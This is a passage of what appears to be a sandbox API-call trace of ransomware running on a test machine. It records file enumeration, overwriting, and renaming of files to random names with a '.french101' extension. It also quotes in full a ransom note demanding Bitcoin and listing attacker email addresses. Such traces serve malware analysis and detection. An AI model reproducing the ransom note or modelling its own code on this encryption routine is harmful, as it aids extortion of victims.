returned 1 [0270.566] CloseHandle (hObject=0x394) returned 1 [0270.567] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0270.567] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0270.567] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0270.567] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0270.567] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0270.567] GlobalUnlock (hMem=0x3f40014) returned 0 [0270.567] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0270.567] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0270.567] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0270.567] GlobalUnlock (hMem=0x3f40014) returned 0 [0270.567] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0270.567] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.567] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0270.567] CharLowerBuffW (in: lpsz="LocalizedData.xml", cchLength=0x11 | out: lpsz="localizeddata.xml") returned 0x11 [0270.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0270.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0270.568] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0270.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xml.xmlt", lpUsedDefaultChar=0x0) returned 4 [0270.568] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0270.568] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0270.568] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0270.568] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0270.569] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0270.569] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0270.569] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0270.569] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xed90 [0270.570] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0270.570] SetFilePointer (in: hFile=0x394, lDistanceToMove=60816, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0xed90 [0270.570] WriteFile (in: hFile=0x394, lpBuffer=0x3f31cc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cc8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0270.631] CloseHandle (hObject=0x394) returned 1 [0270.747] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0270.747] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0270.747] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xed91 [0270.747] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0270.747] SetFilePointer (in: hFile=0x394, lDistanceToMove=60816, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xed90 [0270.747] SetEndOfFile (hFile=0x394) returned 1 [0270.749] CloseHandle (hObject=0x394) returned 1 [0270.750] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0270.750] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0270.750] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xed90 [0270.750] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0270.750] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0270.750] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0270.750] ReadFile (in: hFile=0x394, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0270.751] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0270.751] GlobalLock (hMem=0x3f4000c) returned 0x3ae7e28 [0270.751] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0270.751] GlobalUnlock (hMem=0x3f40014) returned 0 [0270.751] GlobalHandle (pMem=0x3ae7e28) returned 0x3f4000c [0270.751] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.751] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0270.751] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0270.751] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.762] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0270.762] WriteFile (in: hFile=0x394, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0270.762] SetFilePointer (in: hFile=0x394, lDistanceToMove=60816, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xed90 [0270.762] WriteFile (in: hFile=0x394, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0270.762] WriteFile (in: hFile=0x394, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e498*=0xba, lpOverlapped=0x0) returned 1 [0270.762] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0270.762] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.762] CloseHandle (hObject=0x394) returned 1 [0275.764] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1028\\3zW=ZDHckgtLy9orglBgca+iALjOPx7guEsICStouibmC4.french101" (normalized: "c:\\588bce7c90097ed212\\1028\\3zw=zdhckgtly9orglbgca+ialjopx7guesicstouibmc4.french101")) returned 1 [0275.765] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\3zW=ZDHckgtLy9orglBgca+iALjOPx7guEsICStouibmC4.french101" (normalized: "c:\\588bce7c90097ed212\\1028\\3zw=zdhckgtly9orglbgca+ialjopx7guesicstouibmc4.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0275.765] SetFileTime (hFile=0x394, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0275.765] CloseHandle (hObject=0x394) returned 1 [0275.768] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\3zW=ZDHckgtLy9orglBgca+iALjOPx7guEsICStouibmC4.french101", dwFileAttributes=0x80) returned 1 [0275.769] CloseHandle (hObject=0x394) returned 0 [0275.769] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0275.769] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0275.769] GlobalUnlock (hMem=0x3f40004) returned 0 [0275.769] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0275.769] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0275.769] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0275.769] GlobalUnlock (hMem=0x3f40004) returned 0 [0275.769] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0275.770] GlobalUnlock (hMem=0x3f4000c) returned 0 [0275.770] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0275.770] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da210 [0275.770] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0275.770] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0275.770] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0275.770] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1028\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0275.770] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0275.771] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0275.771] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0275.771] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0275.771] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0275.771] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0275.771] ReadFile (in: hFile=0x394, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0275.771] CloseHandle (hObject=0x394) returned 1 [0275.771] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0275.771] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0275.771] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0275.771] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0275.771] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0275.771] GlobalUnlock (hMem=0x3f4000c) returned 0 [0275.771] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0275.772] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0275.772] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0275.772] GlobalUnlock (hMem=0x3f4000c) returned 0 [0275.772] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0275.772] GlobalUnlock (hMem=0x3f40004) returned 0 [0275.772] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0275.772] CharLowerBuffW (in: lpsz="SetupResources.dll", cchLength=0x12 | out: lpsz="setupresources.dll") returned 0x12 [0275.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0275.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0275.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0275.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0275.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0275.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0275.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0275.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0275.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0275.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0275.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0275.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0275.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0275.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0275.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0275.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0275.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0275.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0275.773] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0275.773] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0275.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlls.dll", lpUsedDefaultChar=0x0) returned 4 [0275.773] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0275.773] GetLastError () returned 0x12 [0275.773] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0275.773] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0275.773] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0275.773] GlobalUnlock (hMem=0x3f40004) returned 0 [0275.773] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0275.773] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0275.773] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0275.774] GlobalUnlock (hMem=0x3f40004) returned 0 [0275.774] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0275.774] GlobalUnlock (hMem=0x3f4000c) returned 0 [0275.774] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0275.774] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0275.774] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0275.774] GlobalLock 